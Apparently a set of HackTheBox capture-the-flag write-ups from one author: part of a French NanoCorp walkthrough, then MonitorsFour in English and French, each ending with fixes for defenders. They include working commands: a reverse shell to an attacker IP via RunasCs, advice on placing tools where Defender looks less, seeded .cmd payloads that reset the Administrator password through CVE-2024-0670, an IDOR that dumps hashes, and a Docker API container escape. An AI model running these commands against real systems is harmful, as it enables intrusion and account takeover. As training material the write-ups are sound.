Pourquoi faketime ? Le clock skew de ~7h entre notre Kali et le DC ferait échouer les requêtes Kerberos. faketime ajuste l'horloge vue par le processus sans toucher à l'horloge système.

4.3 User flag

type C:\Users\monitoring_svc\Desktop\user.txt

🚩 User flag owned !

Phase 5 — Privesc : CVE-2024-0670 (Checkmk MSI Repair Race)

5.1 Énumération depuis monitoring_svc

On commence par vérifier ce qui tourne sur la box. Le port 6556 n'était pas visible de l'extérieur — vérifions depuis l'intérieur :

netstat -an | findstr 6556

TCP    0.0.0.0:6556    0.0.0.0:0    LISTENING

Le port 6556 est le port par défaut de l'agent Checkmk — un outil de monitoring système. Vérifions la version installée :

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" |
    Where-Object { $_.DisplayName -like "*mk*" -or $_.DisplayName -like "*Check*" } |
    Select-Object DisplayName, DisplayVersion, LocalPackage

DisplayName        DisplayVersion  LocalPackage
-----------        --------------  ------------
Check MK Agent 2.1 2.1.0.50010     C:\Windows\Installer\1e6f2.msi

Version 2.1.0.50010 → vulnérable à CVE-2024-0670.

5.2 Comprendre CVE-2024-0670 en profondeur

Le mécanisme normal

Quand on lance une réparation MSI (msiexec /fa) pour Checkmk, l'agent effectue les étapes suivantes :

Crée des fichiers .cmd temporaires dans C:\Windows\Temp avec le pattern cmk_all_<PID>_<counter>.cmd
Écrit ses propres commandes de configuration dans ces fichiers
Exécute ces fichiers en tant que SYSTEM (le service Windows Installer tourne en SYSTEM)
Supprime les fichiers temporaires

La vulnérabilité

Le problème est double :

Pattern prédictible : le nom du fichier ne contient que le PID du processus msiexec et un compteur (0 ou 1). Le PID est dans une plage prévisible — sur Windows Server, les PID tournent typiquement entre 1000 et 15000.

Pas de vérification d'intégrité : msiexec ne vérifie pas que le contenu du .cmd est bien celui qu'il a écrit. Si le fichier existe déjà et est en read-only, msiexec ne peut pas l'écraser — et il exécute quand même le contenu existant en tant que SYSTEM.

Le piège du logon type

C'est le point le plus subtil de cette box. Windows distingue plusieurs types de sessions d'authentification :

Type	Nom	Exemple
2	Interactive	Console physique, RunasCs `-l 2`
3	Network	WinRM, SMB, webshells
10	RemoteInteractive	RDP

Le service Windows Installer (msiserver) refuse de lancer une réparation MSI (/fa) depuis une session de type 3 (réseau). Il ne renvoie pas d'erreur — il échoue silencieusement. C'est pourquoi :

Lancer msiexec /fa depuis Evil-WinRM → ne fait rien (type 3)
Lancer msiexec /fa depuis un webshell → ne fait rien (type 3 aussi, réseau HTTP)
Lancer msiexec /fa via RunasCs -l 2 → fonctionne (crée une session type 2)

RunasCs avec le flag -l 2 est l'outil clé ici : il prend des credentials et crée une vraie session interactive locale (type 2), même depuis une session réseau. C'est ce qui permet de contourner la restriction msiexec.

5.3 Préparation de l'exploit

Étape 1 — Upload de RunasCs dans C:\programdata

On uploade RunasCs via Evil-WinRM dans C:\programdata — un répertoire que Defender surveille moins que C:\Windows\Temp. Le binaire précompilé survit ici sans être supprimé.

# Depuis Evil-WinRM (monitoring_svc)
cd C:\programdata
upload /mnt/macos/CTF/NanoCorp/RunasCs.exe RunasCs.exe

Pourquoi C:\programdata et pas C:\Windows\Temp ? Defender surveille activement C:\Windows\Temp — les binaires connus comme RunasCs ou nc.exe y sont supprimés quasi-instantanément. C:\programdata est un répertoire système légitime, moins scruté par les signatures Defender.

Étape 2 — Reverse shell web_svc via RunasCs

On utilise RunasCs depuis Evil-WinRM pour obtenir un reverse shell en tant que web_svc avec une session interactive type 2. C'est cette session qui nous permettra de déclencher msiexec.

T1 — Penelope en écoute :

penelope -p 4444

Depuis Evil-WinRM :

C:\programdata\RunasCs.exe web_svc 'dksehdgh712!@#' cmd.exe -r 10.10.16.52:4444 -l 2

Pourquoi -l 2 ? Ce flag force RunasCs à créer un logon de type 2 (interactive). Sans lui, RunasCs utilise le type par défaut qui ne permettrait pas à msiexec de fonctionner. C'est le flag critique de toute la privesc.

Pourquoi -r 10.10.16.52:4444 ? RunasCs envoie un reverse shell vers notre listener. On ne peut pas avoir de shell interactif direct depuis Evil-WinRM car on est déjà dans une session WinRM.

Penelope reçoit le shell — on vérifie :

C:\Windows\system32> whoami
nanocorp\web_svc

5.4 Exploit — Seed et déclenchement

Depuis le reverse shell web_svc (session interactive type 2), on prépare et déclenche l'exploit en deux étapes.

Étape 1 — Seeder les fichiers .cmd

On crée 10 000 fichiers .cmd avec un payload simple : écrire whoami dans un fichier de preuve et changer le mot de passe Administrator. Pas besoin de reverse shell depuis SYSTEM — on change simplement le mot de passe admin.

powershell -c "1..10000 | foreach { Set-Content -Path C:\Windows\Temp\cmk_all_${_}_1.cmd -Value 'whoami > C:\programdata\proof.txt & net user Administrator H4cked123!' -Force; Set-ItemProperty -Path C:\Windows\Temp\cmk_all_${_}_1.cmd -Name IsReadOnly -Value $true }"

Pourquoi un payload aussi simple ? On n'a pas besoin d'un reverse shell SYSTEM. Le payload fait deux choses : (1) il prouve l'exécution SYSTEM via whoami > proof.txt, et (2) il change le mot de passe Administrator. Après ça, on se connecte directement en admin via Evil-WinRM. Plus c'est simple, moins il y a de risque que Defender intervienne.

Pourquoi counter _1 ? Le counter dans le pattern Checkmk commence à 0 ou 1 selon la version. On utilise _1 pour couvrir le cas le plus courant.

Pourquoi -Force et IsReadOnly ? -Force écrase les fichiers existants (d'une tentative précédente). IsReadOnly empêche msiexec de les remplacer par son propre contenu — il exécute les nôtres à la place.

Étape 2 — Déclencher msiexec /fa

Toujours depuis le reverse shell web_svc (session type 2) :

cmd /c "msiexec /fa C:\Windows\Installer\1e6f2.msi"

Pourquoi cmd /c ? On enveloppe msiexec dans cmd /c pour s'assurer que la commande est exécutée dans un nouveau processus cmd.exe propre, et que le shell actuel attend la fin de l'exécution.

Pourquoi cette commande fonctionne ici mais pas depuis Evil-WinRM ? Parce qu'on est dans une session interactive type 2 créée par RunasCs. Evil-WinRM est une session réseau type 3 — msiexec refuse silencieusement d'y fonctionner.

Étape 3 — Vérification

type C:\programdata\proof.txt

nt authority\system

📸 SYSTEM confirmé ! Le mot de passe Administrator a été changé.

5.5 Connexion en tant qu'Administrator

Le payload a changé le mot de passe de l'administrateur. On se connecte directement :

evil-winrm -i dc01.nanocorp.htb -u Administrator -p 'H4cked123!' --ssl

type C:\Users\Administrator\Desktop\root.txt

🚩 Root flag owned !

Difficultés rencontrées et solutions

Le piège du logon type 2 vs 3

C'est le point le plus frustrant de la box : msiexec /fa ne produit aucune erreur quand il refuse de tourner en logon type 3. Il se termine simplement sans rien faire. On peut passer des heures à debugger le payload (RunasCs ? nc.exe ? quoting ?) alors que le problème est le contexte d'exécution.

La solution : RunasCs avec le flag -l 2 depuis Evil-WinRM pour créer un reverse shell dans une session interactive. Depuis cette session, msiexec accepte de fonctionner.

La leçon : quand une commande Windows ne fait "rien" sans erreur, penser au logon type. C'est un pattern qui revient aussi avec schtasks, wmic, et d'autres outils qui refusent silencieusement les sessions réseau.

BloodHound CE + PostgreSQL 18

La version de BloodHound CE packagée dans Kali (9.2.2-0kali1) est incompatible avec PostgreSQL 18 (erreur syntax error at or near "STORAGE"). La syntaxe TEXT STORAGE MAIN a été supprimée en PG18.

Fix : patcher le fichier de migration SQL et donner les droits corrects au rôle :

# Supprimer la syntaxe STORAGE obsolète
sudo sed -i -E 's/[[:space:]]+STORAGE[[:space:]]+(MAIN|EXTERNAL|EXTENDED|PLAIN|DEFAULT)//g' \
  /usr/lib/bloodhound/cmd/api/src/database/migration/migrations/00000000000001_init.sql

# Recréer la base avec le bon owner
sudo -u postgres psql <<'SQL'
DROP DATABASE IF EXISTS bloodhound;
CREATE DATABASE bloodhound OWNER _bloodhound;
\c bloodhound
ALTER SCHEMA public OWNER TO _bloodhound;
GRANT ALL ON SCHEMA public TO _bloodhound;
SQL

sudo systemctl restart bloodhound

Alternative plus propre : stack Docker officielle (curl -L https://ghst.ly/getbhce -o docker-compose.yml && docker compose up -d) qui embarque sa propre version de PostgreSQL compatible.

Blue Team — Comment corriger

Vulnérabilité	Correction
CVE-2025-24071	Mettre à jour Windows (patch KB5053598). Filtrer les uploads ZIP côté application — ne jamais extraire d'archives côté serveur sans sandbox.
AddSelf sur IT_SUPPORT	Auditer les ACL AD avec BloodHound. Supprimer le droit AddSelf sur les groupes de support — utiliser des workflows de demande d'accès (ITSM) à la place.
ForceChangePassword	Restreindre ce droit aux comptes administratifs dédiés, jamais à des groupes de support. Activer l'audit des changements de mot de passe (Event ID 4724).
Protected Users contournable	Protected Users est une bonne pratique, mais ne protège pas contre le changement de mot de passe par un tiers. Combiner avec LAPS et des mots de passe rotatifs.
CVE-2024-0670	Mettre à jour Checkmk Agent vers 2.2+ (corrigé). En attendant, restreindre les ACL sur `C:\Windows\Temp` pour empêcher les utilisateurs non-SYSTEM d'y écrire des `.cmd`.
Webshell via webroot	Ne pas accorder `WriteData` à `BUILTIN\Users` sur le webroot. Exécuter Apache sous un compte de service dédié avec des droits minimaux.

Références

Writeup par WhyShell — comprendre le pourquoi derrière chaque exploit.

HTB — MonitorsFour | Writeup

WhyShell — Mon, 25 May 2026 18:15:21 +0000

🇫🇷 Version française

Platform: HackTheBox | Difficulty: Easy | OS: Windows (Docker Desktop / WSL2)
Machine: HTB — MonitorsFour
Chain: IDOR → Hash cracking → Cacti RCE → Docker escape

Overview

MonitorsFour is a Windows box that hides almost its entire attack surface behind a PHP web application and a containerized infrastructure. The path unfolds in four acts: a logic flaw in an API leaks credentials, those credentials grant access to a vulnerable monitoring service with an RCE, the resulting shell lands inside a Docker container, and the final escape leverages the Docker API exposed without authentication on the internal network.

1. Reconnaissance

rustscan -a $IP --ulimit 5000 -- -sC -sV

Port	Service	Notes
80	HTTP nginx	Redirects to `monitorsfour.htb` — virtual hosting
5985	WinRM (Microsoft HTTPAPI)	Windows shell access if valid creds

Why this matters: The nginx + WinRM combination on a Windows box is a classic containerization signal. nginx typically runs on Linux — here it's inside a Docker Desktop container on the Windows host. Port 5985 is the actual Windows WinRM. This observation should have triggered suspicion immediately.

echo "$IP monitorsfour.htb" | sudo tee -a /etc/hosts

2. Web Enumeration

Subdomain discovery

ffuf -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
     -u http://monitorsfour.htb \
     -H "Host: FUZZ.monitorsfour.htb" \
     -ac -t 50 -s | tee fuzz.txt
# cacti

Result: cacti.monitorsfour.htb

echo "$IP monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hosts

Why fuzz vhosts: A single server can host multiple websites based on the HTTP Host: header. Since the box already uses virtual hosting (the IP → domain redirect gives it away), there are likely other hidden sites behind the same IP. cacti.monitorsfour.htb turns out to be the real entry point.

Endpoint enumeration

ffuf -u http://monitorsfour.htb/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -e .php -t 50 -mc 200,301,302,403 -ic

Route	Status	Notes
`/login`	200	Login page
`/forgot-password`	200	Password reset
`/user`	200	API endpoint — 35 bytes response
`/static`	301	Assets
`/controllers`	403	Source code not directly accessible

curl "http://monitorsfour.htb/user"
# {"error":"Missing token parameter"}

curl "http://monitorsfour.htb/user?token=test"
# {"error":"Invalid or missing token"}

3. IDOR — Credential leak via token=0

The flaw: The /user?token= endpoint validates a user identifier. The controller logic does (in pseudocode):

if ($token) {
    return get_user($token);   // valid token → one user
} else {
    return get_all_users();    // otherwise → ALL users
}

The developer wrote if ($token) instead of if ($token !== null). In PHP, the value 0 is falsy — if(0) evaluates to false. Passing token=0 falls into the else branch and returns the entire table.

This is an IDOR (Insecure Direct Object Reference) combined with a falsy value logic flaw. Key takeaway: always test 0, -1, empty string, null on any identification parameter.

curl -s "http://monitorsfour.htb/user?token=0" | python3 -m json.tool

Result:

[
  {"username": "admin", "password": "56b32eb43e6f15395f6c46c1c9e1cd36", "name": "Marcus Higgins"},
  {"username": "mwatson", "password": "69196959c16b26ef00b77d82cf6eb169", "name": "Michael Watson"}
]

4. MD5 Hash Cracking

The hashes are unsalted MD5 — trivial to crack.

# On Mac with native Hashcat (M5 GPU via Metal)
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hashes.txt
hashcat -m 0 hashes.txt ~/wordlists/rockyou.txt

Result: 56b32eb43e6f15395f6c46c1c9e1cd36 → wonderful1

Why MD5 is dangerous: Unsalted MD5 can be cracked in seconds on a modern GPU. Identical passwords always produce identical hashes, and rainbow tables cover most common passwords.

5. Cacti Access — CVE-2025-24367 (Authenticated RCE)

Navigate to http://cacti.monitorsfour.htb/cacti/ — the version is displayed at the bottom: Cacti 1.2.28.

Credential subtlety: The API username is admin, but the full name is Marcus Higgins. Cacti uses the first name as the login identifier → authenticate with marcus / wonderful1.

CVE-2025-24367: Cacti 1.2.28 is vulnerable to an authenticated RCE. The exploit abuses the graphs/templates feature to generate a PHP file in the webroot and then trigger it.

# T1 — Listener
penelope -p 9001

# T4 — Exploit
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
sudo python3 exploit.py \
  -url http://cacti.monitorsfour.htb \
  -u marcus -p wonderful1 \
  -i $ME -l 9001

Shell obtained: www-data inside a Docker container.

6. Post-exploitation — Inside the container

id        # uid=33(www-data)
hostname  # 821fbd6a43fa  ← short hash = Docker container ID
ip addr   # 172.18.0.3/16 on eth0
ip route  # default via 172.18.0.1

User flag:

cat /home/marcus/user.txt

7. Container Escape — CVE-2025-9074 (Unauthenticated Docker API)

Context: Docker Desktop on Windows exposes its REST API on 192.168.65.7:2375 without authentication. CVE-2025-9074 documents exactly this exposure: Linux containers can reach this endpoint and interact with the Windows host's Docker Engine.

curl -s http://192.168.65.7:2375/version
# {"Platform":{"Name":"Docker Engine - Community"},...,"Version":"28.3.2",...}

On Docker Desktop + WSL2, the C:\ Windows drive is exposed under /mnt/host/c. We create a container that mounts this path:

curl -s -X POST -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/mnt/host_root"]
    }
  }' \
  http://192.168.65.7:2375/containers/create -o /tmp/response.json

cid=$(grep -o '"Id":"[^"]*"' /tmp/response.json | cut -d'"' -f4)
curl -s -X POST http://192.168.65.7:2375/containers/$cid/start
sleep 2
curl -s "http://192.168.65.7:2375/containers/$cid/logs?stdout=true" --output -

Root flag obtained.

Full Attack Chain

IDOR token=0
    → MD5 hash leaked (admin / marcus)
        → Hashcat → wonderful1
            → Cacti login (marcus:wonderful1)
                → CVE-2025-24367 → RCE → www-data shell
                    → Docker container (172.18.0.3)
                        → Docker API 192.168.65.7:2375 (CVE-2025-9074)
                            → bind mount /mnt/host/c
                                → root.txt ✅

🛡️ How to Fix These Vulnerabilities

1. IDOR + falsy logic on `/user?token=`

Fix: Replace if ($token) with if ($token !== null && $token !== ''). Add mandatory authentication on all API endpoints.

2. Unsalted MD5 hashes

Fix: Use password_hash() in PHP (bcrypt by default) or Argon2id. Never store MD5/SHA1 for passwords.

3. Cacti 1.2.28 — CVE-2025-24367

Fix: Update Cacti. Restrict access by IP. Apply the principle of least privilege.

4. Unauthenticated Docker API — CVE-2025-9074

Fix: Disable "Expose daemon on tcp://localhost:2375 without TLS". If TCP is required → TLS + mutual certificates. Isolate containers on dedicated networks.

💡 Key Takeaways

Test falsy values (0, -1, "", null) on any identification parameter.
Don't give up on vhost fuzzing too early — cacti was the real attack surface.
Read HTTP headers — X-Powered-By: PHP/8.3.27 + PHPSESSID reveal the tech stack from the very first curl.
nginx on Windows = likely containerization — TTL 127 + nginx = strong Docker Desktop signal.
Unauthenticated Docker API = immediate root — reaching port 2375 from a compromised container is game over.

📺 Watch the video walkthrough: YouTube WhyShell
🇫🇷 Version française

HTB — MonitorsFour | Writeup Fr

WhyShell — Mon, 25 May 2026 18:08:55 +0000

🇬🇧 English version

Plateforme : HackTheBox | Difficulté : Easy | OS : Windows (Docker Desktop / WSL2)
Machine : HTB — MonitorsFour
Chaîne : IDOR → Hash cracking → Cacti RCE → Docker escape

🗺️ Vue d'ensemble

MonitorsFour est une box Windows qui cache la quasi-totalité de sa surface d'attaque derrière une application web PHP et une infrastructure conteneurisée. Le chemin se déroule en quatre actes : une faille de logique sur une API expose des credentials, ceux-ci permettent de s'authentifier sur un service de monitoring vulnérable à une RCE, le shell obtenu atterrit dans un conteneur Docker, et l'évasion finale passe par l'API Docker exposée sans authentification sur le réseau interne.

1. Reconnaissance

rustscan -a $IP --ulimit 5000 -- -sC -sV

Port	Service	Notes
80	HTTP nginx	Redirige vers `monitorsfour.htb` — virtual hosting
5985	WinRM (Microsoft HTTPAPI)	Accès shell Windows si creds valides

Pourquoi c'est important : La combinaison nginx + WinRM sur une box Windows est un signal classique de conteneurisation. nginx tourne typiquement sous Linux — ici, il est dans un conteneur Docker Desktop sur l'hôte Windows. Le port 5985 est le vrai WinRM Windows. Cette observation aurait dû alerter dès le départ.

echo "$IP monitorsfour.htb" | sudo tee -a /etc/hosts

2. Enumération Web

Découverte du sous-domaine

ffuf -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
     -u http://monitorsfour.htb \
     -H "Host: FUZZ.monitorsfour.htb" \
     -ac -t 50 -s | tee fuzz.txt
# cacti

Résultat : cacti.monitorsfour.htb

echo "$IP monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hosts

Pourquoi chercher les vhosts : Un seul serveur peut héberger plusieurs sites selon le nom de domaine dans l'en-tête HTTP Host:. La box utilise déjà le virtual hosting (la redirection IP → nom de domaine le trahit), donc il existe probablement d'autres sites cachés derrière la même IP. cacti.monitorsfour.htb s'avère être le vrai vecteur d'entrée.

Enumération des endpoints

ffuf -u http://monitorsfour.htb/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -e .php -t 50 -mc 200,301,302,403 -ic

Route	Status	Notes
`/login`	200	Page de login
`/forgot-password`	200	Reset de mot de passe
`/user`	200	Endpoint API — 35 octets de réponse
`/static`	301	Assets
`/controllers`	403	Code source inaccessible directement

curl "http://monitorsfour.htb/user"
# {"error":"Missing token parameter"}

curl "http://monitorsfour.htb/user?token=test"
# {"error":"Invalid or missing token"}

3. IDOR — Fuite des credentials via token=0

La faille : L'endpoint /user?token= valide un identifiant d'utilisateur. Le code du contrôleur fait (en pseudo-code) :

if ($token) {
    return get_user($token);   // token valide → un user
} else {
    return get_all_users();    // sinon → TOUS les users
}

Le développeur a écrit if ($token) au lieu de if ($token !== null). En PHP, la valeur 0 est falsy — if(0) est faux. Passer token=0 tombe dans le else et renvoie la table entière.

C'est une IDOR (Insecure Direct Object Reference) combinée à une faille de logique sur les valeurs falsy. À retenir : tester systématiquement 0, -1, chaîne vide, null sur tout paramètre d'identification.

curl -s "http://monitorsfour.htb/user?token=0" | python3 -m json.tool

Résultat :

[
  {"username": "admin", "password": "56b32eb43e6f15395f6c46c1c9e1cd36", "name": "Marcus Higgins"},
  {"username": "mwatson", "password": "69196959c16b26ef00b77d82cf6eb169", "name": "Michael Watson"}
]

4. Crack des hash MD5

Les hash sont du MD5 non salé — format trivial à casser.

# Sur Mac avec Hashcat natif (GPU M5 via Metal)
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hashes.txt
hashcat -m 0 hashes.txt ~/wordlists/rockyou.txt

Résultat : 56b32eb43e6f15395f6c46c1c9e1cd36 → wonderful1

Pourquoi MD5 est dangereux : MD5 sans sel est cassable en quelques secondes sur un GPU moderne. Les hash sont identiques pour un même mot de passe, et les tables rainbow précalculées couvrent la plupart des mots courants.

5. Accès Cacti — CVE-2025-24367 (RCE authentifiée)

Naviguer vers http://cacti.monitorsfour.htb/cacti/ — la version est affichée en bas : Cacti 1.2.28.

Subtilité des credentials : Le username dans l'API est admin, mais le nom complet est Marcus Higgins. Cacti utilise le prénom comme identifiant → login avec marcus / wonderful1.

CVE-2025-24367 : Cacti 1.2.28 est vulnérable à une RCE authentifiée. L'exploit abuse de la fonctionnalité graphs/templates pour générer un fichier PHP dans le webroot puis le déclencher.

# T1 — Listener
penelope -p 9001

# T4 — Exploit
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
sudo python3 exploit.py \
  -url http://cacti.monitorsfour.htb \
  -u marcus -p wonderful1 \
  -i $ME -l 9001

Shell obtenu : www-data dans un conteneur Docker.

6. Post-exploitation — Dans le conteneur

id        # uid=33(www-data)
hostname  # 821fbd6a43fa  ← hash court = ID de conteneur Docker
ip addr   # 172.18.0.3/16 sur eth0
ip route  # default via 172.18.0.1

Flag user :

cat /home/marcus/user.txt

7. Evasion de conteneur — CVE-2025-9074 (API Docker non authentifiée)

Le contexte : Docker Desktop sur Windows expose son API REST sur 192.168.65.7:2375 sans authentification. CVE-2025-9074 documente exactement cette exposition : les conteneurs Linux peuvent atteindre ce endpoint et interagir avec le Docker Engine du host Windows.

curl -s http://192.168.65.7:2375/version
# {"Platform":{"Name":"Docker Engine - Community"},...,"Version":"28.3.2",...}

Sur Docker Desktop + WSL2, le disque C:\ Windows est exposé sous /mnt/host/c. On crée un conteneur qui monte ce chemin :

curl -s -X POST -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/mnt/host_root"]
    }
  }' \
  http://192.168.65.7:2375/containers/create -o /tmp/response.json

cid=$(grep -o '"Id":"[^"]*"' /tmp/response.json | cut -d'"' -f4)
curl -s -X POST http://192.168.65.7:2375/containers/$cid/start
sleep 2
curl -s "http://192.168.65.7:2375/containers/$cid/logs?stdout=true" --output -

Flag root obtenu.

🗺️ Chaîne complète

IDOR token=0
    → Hash MD5 leaked (admin / marcus)
        → Hashcat → wonderful1
            → Login Cacti (marcus:wonderful1)
                → CVE-2025-24367 → RCE → shell www-data
                    → Docker container (172.18.0.3)
                        → API Docker 192.168.65.7:2375 (CVE-2025-9074)
                            → bind mount /mnt/host/c
                                → root.txt ✅

🛡️ Comment corriger ces failles

1. IDOR + logique falsy sur `/user?token=`

Correction : Remplacer if ($token) par if ($token !== null && $token !== ''). Ajouter une authentification obligatoire sur tous les endpoints API.

2. Hash MD5 non salés

Correction : Utiliser password_hash() en PHP (bcrypt par défaut) ou Argon2id. Ne jamais stocker de MD5/SHA1 pour des mots de passe.

3. Cacti 1.2.28 — CVE-2025-24367

Correction : Mettre à jour Cacti. Restreindre l'accès par IP. Appliquer le principe du moindre privilège.

4. API Docker exposée sans auth — CVE-2025-9074

Correction : Désactiver "Expose daemon on tcp://localhost:2375 without TLS". Si TCP requis → TLS + certificats mutuels. Isoler les conteneurs sur des réseaux dédiés.

💡 Leçons retenues

Tester les valeurs falsy (0, -1, "", null) sur tout paramètre d'identification.
Ne pas abandonner le fuzzing de vhosts trop tôt — cacti était la vraie surface d'attaque.
Lire les en-têtes HTTP — X-Powered-By: PHP/8.3.27 + PHPSESSID trahissent la techno dès le premier curl.
nginx sur Windows = conteneurisation probable — TTL 127 + nginx = signal fort Docker Desktop.
L'API Docker non authentifiée = root immédiat — atteindre le port 2375 depuis un conteneur compromis est un game over.

📺 Voir le walkthrough vidéo : YouTube WhyShell
🇬🇧 English version